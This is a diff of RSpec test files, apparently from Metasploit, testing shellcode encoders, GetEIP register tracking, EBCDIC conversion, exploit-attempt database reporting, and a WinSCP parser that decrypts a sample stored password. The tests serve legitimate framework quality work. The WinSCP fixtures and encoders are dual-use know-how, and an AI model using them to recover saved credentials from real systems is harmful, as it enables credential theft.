context '#stats_*' do
|
||||
|
||||
it 'should show received packets' do
|
||||
|
|
|
@ -46,17 +46,6 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :is_usable }
|
||||
end
|
||||
|
||||
describe '#user_data_is_match?' do
|
||||
subject(:msf_module) {
|
||||
msf_module = described_class.new
|
||||
msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' }
|
||||
msf_module
|
||||
}
|
||||
specify do
|
||||
expect(msf_module.user_data_is_match?).to eq(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe "cloning modules into replicants" do
|
||||
module MsfExtensionTestFoo; def my_test1; true; end; end;
|
||||
module MsfExtensionTestBar; def my_test2; true; end; end;
|
||||
|
|
|
@ -321,7 +321,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
|||
db.cmd_db_export "-h"
|
||||
@output.should =~ [
|
||||
"Usage:",
|
||||
" db_export -f <format> [-a] [filename]",
|
||||
" db_export -f <format> [filename]",
|
||||
" Format can be one of: xml, pwdump"
|
||||
]
|
||||
end
|
||||
|
|
|
@ -1004,12 +1004,38 @@ describe Rex::Arch::X86 do
|
|||
it "returns a register as third element" do
|
||||
expect(subject[2]).to be_an Fixnum
|
||||
end
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "add modified registers" do
|
||||
described_class.geteip_fpu(badchars, modified_registers)
|
||||
expect(modified_registers).to_not be_empty
|
||||
end
|
||||
|
||||
it "modifies 2 or 3 registers" do
|
||||
described_class.geteip_fpu(badchars, modified_registers)
|
||||
expect(modified_registers.length).to be_between(2, 3)
|
||||
end
|
||||
|
||||
it "modifies ESP" do
|
||||
described_class.geteip_fpu(badchars, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when too many badchars" do
|
||||
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
|
||||
|
||||
it { is_expected.to be_nil }
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "doesn't add any register" do
|
||||
described_class.geteip_fpu(badchars, modified_registers)
|
||||
expect(modified_registers).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,17 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/arch'
|
||||
|
||||
describe Rex::Arch do
|
||||
describe ".pack_addr" do
|
||||
subject { described_class.pack_addr(arch, addr) }
|
||||
|
||||
context "when arch is ARCH_ZARCH" do
|
||||
let(:arch) { ARCH_ZARCH }
|
||||
let(:addr) { 0xdeadbeefbe655321 }
|
||||
it "packs addr as 64-bit unsigned, big-endian" do
|
||||
is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -50,6 +50,180 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
|
|||
expect { decoder_prefix }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers is passed" do
|
||||
context "when reg is ECX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when reg is EDX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -83,6 +257,28 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
|
|||
expect { decoder }.to raise_error
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EAX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||
end
|
||||
|
||||
it "marks ESP as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,6 +56,180 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
|
|||
expect { decoder_prefix }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers is passed" do
|
||||
context "when reg is ECX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when reg is EDX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -89,6 +263,34 @@ describe Rex::Encoder::Alpha2::AlphaUpper do
|
|||
expect { decoder }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers passed" do
|
||||
let(:modified_registers) { [] }
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks ESI as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESI)
|
||||
end
|
||||
|
||||
it "marks EAX as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EAX)
|
||||
end
|
||||
|
||||
it "marks ESP as modified" do
|
||||
described_class.gen_decoder(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ESP)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
require 'rex/parser/winscp'
|
||||
|
||||
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
|
||||
|
||||
USERNAME = 'username'
|
||||
HOST = 'server.feralhosting.com'
|
||||
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
|
||||
SAMPLE_INI = <<-END
|
||||
[Sessions\\username@server.feralhosting.com]
|
||||
HostName=#{HOST}
|
||||
Timeout=6000
|
||||
SshProt=3
|
||||
UserName=#{USERNAME}
|
||||
UpdateDirectories=0
|
||||
Utf=1
|
||||
Password=#{PASSWORD}
|
||||
Shell=/bin/bash}
|
||||
END
|
||||
|
||||
describe Rex::Parser::WinSCP do
|
||||
let(:target) do
|
||||
d = Class.new { include Rex::Parser::WinSCP }
|
||||
d.new
|
||||
end
|
||||
|
||||
context "#parse_protocol" do
|
||||
it "returns 'Unknown' for unknown protocols" do
|
||||
expect(target.parse_protocol(nil)).to eq('Unknown')
|
||||
expect(target.parse_protocol(99)).to eq('Unknown')
|
||||
expect(target.parse_protocol('stuff')).to eq('Unknown')
|
||||
end
|
||||
|
||||
it "returns 'SSH' for protocol 0" do
|
||||
expect(target.parse_protocol(0)).to eq('SSH')
|
||||
end
|
||||
|
||||
it "returns 'FTP' for protocol 5" do
|
||||
expect(target.parse_protocol(5)).to eq('FTP')
|
||||
end
|
||||
end
|
||||
|
||||
context "#decrypt_next_char" do
|
||||
it "returns 0 and the pwd if pwd length <= 0" do
|
||||
r, pwd = target.decrypt_next_char('')
|
||||
expect(r).to eq(0)
|
||||
expect(pwd).to eq('')
|
||||
end
|
||||
|
||||
it "strips the first two characters from the return value" do
|
||||
_, pwd = target.decrypt_next_char('A3')
|
||||
expect(pwd).to eq('')
|
||||
end
|
||||
|
||||
it "returns 255 for 'A3'" do
|
||||
r, _ = target.decrypt_next_char('A3')
|
||||
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
|
||||
end
|
||||
end
|
||||
|
||||
context "#decrypt_password" do
|
||||
it "returns 'sdfsdfgsggg' for the example password" do
|
||||
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
|
||||
end
|
||||
end
|
||||
|
||||
context "#parse_ini" do
|
||||
it "raises a RuntimeError if ini is nil or empty" do
|
||||
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
|
||||
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
|
||||
end
|
||||
|
||||
it "raises a RuntimeError if UseMasterPassword is 1" do
|
||||
expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
|
||||
end
|
||||
|
||||
it "parses the example ini" do
|
||||
r = target.parse_ini(SAMPLE_INI).first
|
||||
expect(r[:hostname]).to eq(HOST)
|
||||
expect(r[:password]).to eq('sdfsdfgsggg')
|
||||
expect(r[:username]).to eq(USERNAME)
|
||||
expect(r[:protocol]).to eq('SSH')
|
||||
expect(r[:portnumber]).to eq(22)
|
||||
end
|
||||
end
|
||||
|
||||
context "#read_and_parse_ini" do
|
||||
it "returns nil if file is empty or doesn't exist" do
|
||||
File.stub(:read).and_return(nil)
|
||||
expect(target.read_and_parse_ini('blah')).to be nil
|
||||
end
|
||||
|
||||
it "parses the example ini and return a single result" do
|
||||
File.stub(:read).and_return(SAMPLE_INI)
|
||||
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -22,6 +22,20 @@ describe Rex::Text do
|
|||
end
|
||||
end
|
||||
|
||||
context ".to_ibm1047" do
|
||||
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
|
||||
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
|
||||
eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
|
||||
end
|
||||
end
|
||||
|
||||
context ".from_1047" do
|
||||
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
|
||||
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should
|
||||
eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
|
||||
end
|
||||
end
|
||||
|
||||
context ".to_utf8" do
|
||||
it "should convert a string to UTF-8, skipping badchars" do
|
||||
described_class.to_utf8("Hello, world!").should eq("Hello, world!")
|
||||
|
|
|
@ -4,51 +4,437 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
|||
it { is_expected.to respond_to :report_exploit_failure }
|
||||
it { is_expected.to respond_to :report_exploit_success }
|
||||
|
||||
describe '#report_exploit_success' do
|
||||
subject(:report_exploit_success) do
|
||||
db_manager.report_exploit_success(opts)
|
||||
describe '#report_exploit_failure' do
|
||||
subject(:report_exploit_failure) do
|
||||
db_manager.report_exploit_failure(opts)
|
||||
end
|
||||
|
||||
let(:run) do
|
||||
match
|
||||
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||
end
|
||||
|
||||
let(:match_set) do
|
||||
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||
end
|
||||
|
||||
let(:match) do
|
||||
FactoryGirl.create(:automatic_exploitation_match,
|
||||
match_set_id: match_set.id,
|
||||
matchable_id:vuln_with_match.id,
|
||||
matchable_type: "Mdm::Vuln"
|
||||
)
|
||||
end
|
||||
|
||||
let(:vuln_with_match) do
|
||||
FactoryGirl.create(:mdm_vuln)
|
||||
end
|
||||
|
||||
let(:host) do
|
||||
FactoryGirl.create(:mdm_host, workspace:workspace)
|
||||
end
|
||||
|
||||
let(:workspace) do
|
||||
FactoryGirl.create(:mdm_workspace)
|
||||
end
|
||||
|
||||
let(:refs) do
|
||||
[ FactoryGirl.create(:mdm_ref) ]
|
||||
end
|
||||
|
||||
context "with a run" do
|
||||
let(:opts) do
|
||||
{
|
||||
workspace: workspace,
|
||||
refs: refs,
|
||||
host: host,
|
||||
vuln: vuln_with_match,
|
||||
run_id: run.id
|
||||
}
|
||||
end
|
||||
|
||||
context 'with a vuln' do
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||
end
|
||||
|
||||
it "should create a match result" do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1)
|
||||
end
|
||||
|
||||
it "should create a match result with state FAILED" do
|
||||
report_exploit_failure
|
||||
|
||||
expect(
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.where(
|
||||
match_id: match.id,
|
||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
|
||||
)
|
||||
).to exist
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_failure
|
||||
end
|
||||
|
||||
it "should call create_match_result_for_vuln" do
|
||||
db_manager.should_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should call create_match_result" do
|
||||
db_manager.should_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'without a vuln' do
|
||||
let(:vuln_with_match) { nil }
|
||||
|
||||
let(:match) {nil}
|
||||
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.not_to change(Mdm::VulnAttempt, :count)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_failure
|
||||
end
|
||||
|
||||
it "should not call create_match_result_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_run_for_vuln" do
|
||||
db_manager.should_not_receive(:create_run_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
context "without a run" do
|
||||
let(:vuln) do
|
||||
FactoryGirl.create(:mdm_vuln)
|
||||
end
|
||||
|
||||
let(:opts) do
|
||||
{
|
||||
workspace: workspace,
|
||||
refs: refs,
|
||||
host: host,
|
||||
vuln: vuln,
|
||||
}
|
||||
end
|
||||
|
||||
context 'with a vuln' do
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(Mdm::VulnAttempt,:count).by(1)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_failure
|
||||
end
|
||||
|
||||
it "should call create_match_result_for_vuln" do
|
||||
db_manager.should_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_match_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'without a vuln' do
|
||||
let(:vuln) { nil }
|
||||
|
||||
specify do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.not_to change(Mdm::VulnAttempt, :count)
|
||||
end
|
||||
|
||||
it "should not create a match result" do
|
||||
expect {
|
||||
report_exploit_failure
|
||||
}.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0)
|
||||
end
|
||||
|
||||
context "calling report_exploit_success" do
|
||||
after(:each) do
|
||||
report_exploit_failure
|
||||
end
|
||||
|
||||
it "should not call create_match_result_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_result_for_vuln)
|
||||
end
|
||||
|
||||
it "should not call create_match_result" do
|
||||
db_manager.should_not_receive(:create_match_result)
|
||||
end
|
||||
|
||||
it "should not call create_run_for_vuln" do
|
||||
db_manager.should_not_receive(:create_match_for_vuln)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
describe '#report_exploit_success' do
|
||||
subject(:report_exploit_success) do
|
||||
db_manager.report_exploit_success(opts)
|
||||
end
|
||||
|
||||
let(:session_id) do
|
||||
FactoryGirl.create(:session, host: host).id
|
||||
end
|
||||
|
||||
let(:run) do
|
||||
match
|
||||
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||
end
|
||||
|
||||
let(:match_set) do
|
||||
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||
end
|
||||
|
||||
let(:match) do
|
||||
FactoryGirl.create(:automatic_exploitation_match,
|
||||
match_set_id: match_set.id,
|
||||
matchable_id:vuln_with_match.id,
|
||||
matchable_type: "Mdm::Vuln"
|
||||
)
|
||||
end
|
||||
|
||||
let(:vuln_with_match) do
|
||||
FactoryGirl.create(:mdm_vuln)
|
||||
end
|
||||
|
||||
let(:host) do
|
||||
FactoryGirl.create(:mdm_host, workspace: workspace)
|
||||
FactoryGirl.create(:mdm_host, workspace:workspace)
|
||||
end
|
||||
|
||||
let(:workspace) do
|
||||
FactoryGirl.create(:mdm_workspace)
|
||||
end
|
||||
|
||||
let(:refs) do
|
||||
[ FactoryGirl.create(:mdm_ref) ]
|
||||
end
|
||||
|
||||
